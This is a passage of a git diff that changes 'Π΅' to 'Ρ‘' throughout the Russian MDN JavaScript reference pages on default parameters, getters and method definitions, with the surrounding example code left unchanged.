-<p>Π‘ появлСниСм Π² ES2015Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ стало Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Π°ΠΊ, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ достаточно Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒΒ <code>1</code> Π² качСствС значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β <code>b</code>:</p>
+<p>Π‘ появлСниСм Π² ES2015Β ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ стало Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π±Π΅Π· ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’Π°ΠΊ, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ достаточно Π² Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒΒ <code>1</code> Π² качСствС значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°Β <code>b</code>:</p>
<pre class="brush: js">function multiply(a, b = 1) {
return a*b;
@@ -78,7 +78,7 @@ test(null); // 'object' (num ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null)
<h3 id="ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹_ΠΏΠΎ_ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ_Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ_Π²_ΠΌΠΎΠΌΠ΅Π½Ρ‚_Π²Ρ‹Π·ΠΎΠ²Π°_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h3>
-<p>Π’ Javascript ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ языка Python, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаСтся Π½ΠΎΠ²ΠΎΠ΅ лСксичСскоС ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>Π’ Javascript ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ языка Python, ΠΏΡ€ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ создаётся Π½ΠΎΠ²ΠΎΠ΅ лСксичСскоС ΠΎΠΊΡ€ΡƒΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js">function append(value, array = []) {
array.push(value);
@@ -117,7 +117,7 @@ callSomething(); // 2
greet('David', 'Hi'); // ["David", "Hi", "Hi David"]
greet('David', 'Hi', 'Happy Birthday!'); // ["David", "Hi", "Happy Birthday!"]</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΅Ρ‰Π΅ Ρ€Π°Π· ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π΅Ρ‰Π΅ Ρ€Π°Π· ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΄Π²Π° способа достиТСния ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°: с использованиСм ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ Π±Π΅Π· Π΅Π΅ использования:</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ эту Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ позволяСт Π΅Ρ‰Ρ‘ Ρ€Π°Π· ΡΡ€Π°Π²Π½ΠΈΡ‚ΡŒ Π΄Π²Π° способа достиТСния ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°: с использованиСм ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈ Π±Π΅Π· Π΅Ρ‘ использования:</p>
<pre class="brush: js">function go() {
return ":P"
@@ -158,7 +158,7 @@ withoutDefaults.call({value:"=^_^="});
<h3 id="Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ_опрСдСляСмых_Π²_Ρ‚Π΅Π»Π΅_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ">Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, опрСдСляСмых Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h3>
-<p>Начиная с вСрсии Gecko 33 {{geckoRelease(33)}} Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, опрСдСляСмыС Π² Ρ‚Π΅Π»Π΅ самой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ; ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС {{jsxref("ReferenceError")}}. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всСгда Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ Π΄ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ описаний Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, опрСдСляСмых Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
+<p>Начиная с вСрсии Gecko 33 {{geckoRelease(33)}} Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, опрСдСляСмыС Π² Ρ‚Π΅Π»Π΅ самой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ для ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ; ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС {{jsxref("ReferenceError")}}. ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всСгда Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ Π΄ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ описаний Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, опрСдСляСмых Π² Ρ‚Π΅Π»Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
<pre class="brush: js">// Π’Ρ‹Π·ΠΎΠ²Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ ReferenceError!
function f(a = go()) {
diff --git a/files/ru/web/javascript/reference/functions/get/index.html b/files/ru/web/javascript/reference/functions/get/index.html
index 9e2c329c8e..0e6803733f 100644
--- a/files/ru/web/javascript/reference/functions/get/index.html
+++ b/files/ru/web/javascript/reference/functions/get/index.html
@@ -49,7 +49,7 @@ translation_of: Web/JavaScript/Reference/Functions/get
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π°_Π½Π°_Π½ΠΎΠ²ΠΎΠΌ_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅_Π²_ΠΌΠΎΠΌΠ΅Π½Ρ‚_ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ_этого_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° Π½Π° Π½ΠΎΠ²ΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ этого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</h3>
-<p>НиТС создаСтся псСвдо-свойство <code>latest</code> для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>obj</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ послСдний элСмСнт массива Π² консоль Π»ΠΎΠ³.</p>
+<p>НиТС создаётся псСвдо-свойство <code>latest</code> для ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>obj</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ послСдний элСмСнт массива Π² консоль Π»ΠΎΠ³.</p>
<pre class="brush: js">const obj = {
log: ['example','test'],
@@ -98,10 +98,10 @@ console.log(obj.foo); // "bar"</pre>
<p>Π“Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹ Π΄Π°ΡŽΡ‚ Π½Π°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ свойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° , Π½ΠΎ ΠΎΠ½ΠΈ Π½Π΅ Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого свойства Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΎΠ½ΠΎ Π½Π΅ станСт доступно. Π“Π΅Ρ‚Ρ‚Π΅Ρ€ ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅Ρ‚ ΡΡ‚ΠΎΠΈΠΌΠΎΡΡ‚ΡŒ вычислСния значСния Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ станСт Π½ΡƒΠΆΠ½ΠΎ, ΠΈ Ссли ΠΎΠ½ΠΎ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ понадобится, Ρ‚ΠΎ Π²Ρ‹ Π½ΠΈΠΊΠΎΠ³Π΄Π° Π½Π΅ Π·Π°ΠΏΠ»Π°Ρ‚ΠΈΡ‚Π΅.</p>
-<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π»Π΅Π½ΠΈΡ‚ΡŒΡΡ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ вычислСниС значСния свойства ΠΈ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для дальнСйшСго доступа. Π’Π°ΠΊ ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ <strong>ΡƒΠΌΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ <a href="https://en.wikipedia.org/wiki/Memoization">Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅</a> Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹</strong>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вычисляСтся Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° ΠΈ Π·Π°Ρ‚Π΅ΠΌ сохраняСтся Π² кэшС Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ обращСния Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ значСния Π±Π΅Π· Π΅Π³ΠΎ пСрСсчСта. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ситуациях:</p>
+<p>Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π»Π΅Π½ΠΈΡ‚ΡŒΡΡ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»Π°Π΄Ρ‹Π²Π°Ρ‚ΡŒ вычислСниС значСния свойства ΠΈ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ для дальнСйшСго доступа. Π’Π°ΠΊ ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ <strong>ΡƒΠΌΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ <a href="https://en.wikipedia.org/wiki/Memoization">Π·Π°ΠΏΠΎΠΌΠΈΠ½Π°ΡŽΡ‰ΠΈΠ΅</a> Π³Π΅Ρ‚Ρ‚Π΅Ρ€Ρ‹</strong>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вычисляСтся Π² ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Π³Π΅Ρ‚Ρ‚Π΅Ρ€Π° ΠΈ Π·Π°Ρ‚Π΅ΠΌ сохраняСтся Π² кэшС Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ ΠΏΠΎΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ обращСния Π±ΡƒΠ΄ΡƒΡ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΊΡΡˆΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ значСния Π±Π΅Π· Π΅Π³ΠΎ пСрСсчёта. Π­Ρ‚ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ситуациях:</p>
<ul>
- <li>Если вычислСниС значСния свойства Π΄ΠΎΡ€ΠΎΠ³ΠΎ (Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти ΠΈΠ»ΠΈ процСссорного Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΏΠΎΡ‚ΠΎΠΊ, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», ΠΈ Ρ‚. Π΄.).</li>
+ <li>Если вычислСниС значСния свойства Π΄ΠΎΡ€ΠΎΠ³ΠΎ (Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΈΠ²Π½ΠΎΠΉ памяти ΠΈΠ»ΠΈ процСссорного Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ, ΠΏΠΎΡ€ΠΎΠΆΠ΄Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‡ΠΈΠΉ ΠΏΠΎΡ‚ΠΎΠΊ, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ», ΠΈ Ρ‚. Π΄.).</li>
<li>Если сСйчас это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ. Оно Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΏΠΎΠ·ΠΆΠ΅, ΠΈΠ»ΠΈ Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΎΠ½ΠΎ Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π²ΠΎΠΎΠ±Ρ‰Π΅.</li>
<li>Если ΠΎΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, ΠΊ Π½Π΅ΠΌΡƒ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ нСсколько Ρ€Π°Π·, ΠΈ Π½Π΅Ρ‚ нСобходимости Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΎ, ΠΈΠ»ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅ΡΡ‡ΠΈΡ‚Ρ‹Π²Π°Ρ‚ΡŒΡΡ.</li>
</ul>
@@ -119,7 +119,7 @@ console.log(obj.foo); // "bar"</pre>
<h3 id="get_ΠΈ_defineProperty"><code>get</code>Β ΠΈΒ <code>defineProperty</code></h3>
-<p>ИспользованиС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>get</code>Β ΠΈ {{jsxref("Object.defineProperty()")}} Π΄Π°Π΅Ρ‚ ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹, Π½ΠΎ ΠΏΡ€ΠΈ использовании Π² {{jsxref("classes")}} ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ Π΅ΡΡ‚ΡŒ тонкая Ρ€Π°Π·Π½ΠΈΡ†Π°.</p>
+<p>ИспользованиС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>get</code>Β ΠΈ {{jsxref("Object.defineProperty()")}} Π΄Π°Ρ‘Ρ‚ ΠΏΠΎΡ…ΠΎΠΆΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹, Π½ΠΎ ΠΏΡ€ΠΈ использовании Π² {{jsxref("classes")}} ΠΌΠ΅ΠΆΠ΄Ρƒ Π½ΠΈΠΌΠΈ Π΅ΡΡ‚ΡŒ тонкая Ρ€Π°Π·Π½ΠΈΡ†Π°.</p>
<p>ΠŸΡ€ΠΈ использовании <code>get</code> свойство Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π² Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ ΠΏΡ€ΠΈ использовании {{jsxref ("Object.defineProperty ()")}} свойство Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ Π² экзСмплярС, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ примСняСтся.</p>
diff --git a/files/ru/web/javascript/reference/functions/method_definitions/index.html b/files/ru/web/javascript/reference/functions/method_definitions/index.html
index 2a7f130d76..bc7b16eac1 100644
--- a/files/ru/web/javascript/reference/functions/method_definitions/index.html
+++ b/files/ru/web/javascript/reference/functions/method_definitions/index.html
@@ -38,7 +38,7 @@ original_slug: Web/JavaScript/Reference/Functions/ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_ΠΌΠ΅Ρ‚Π
<h3 id="Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅_ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²-Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²">Π‘ΠΎΠΊΡ€Π°Ρ‰Π΅Π½ΠΈΠ΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ²-Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</h3>
-<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹-Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹</a>Β Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ синтаксис. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠ°Β (*) Π² ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΎΠΌ синтаксисС долТна Π±Ρ‹Ρ‚ΡŒ ΠΏΠ΅Ρ€Π΅Π΄Β ΠΈΠΌΠ΅Π½Π΅ΠΌ свойства Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€Π°. Π’ΠΎ Π΅ΡΡ‚ΡŒ,Β <code>* g(){}</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Π°Β <code>g *(){}</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚.</p>
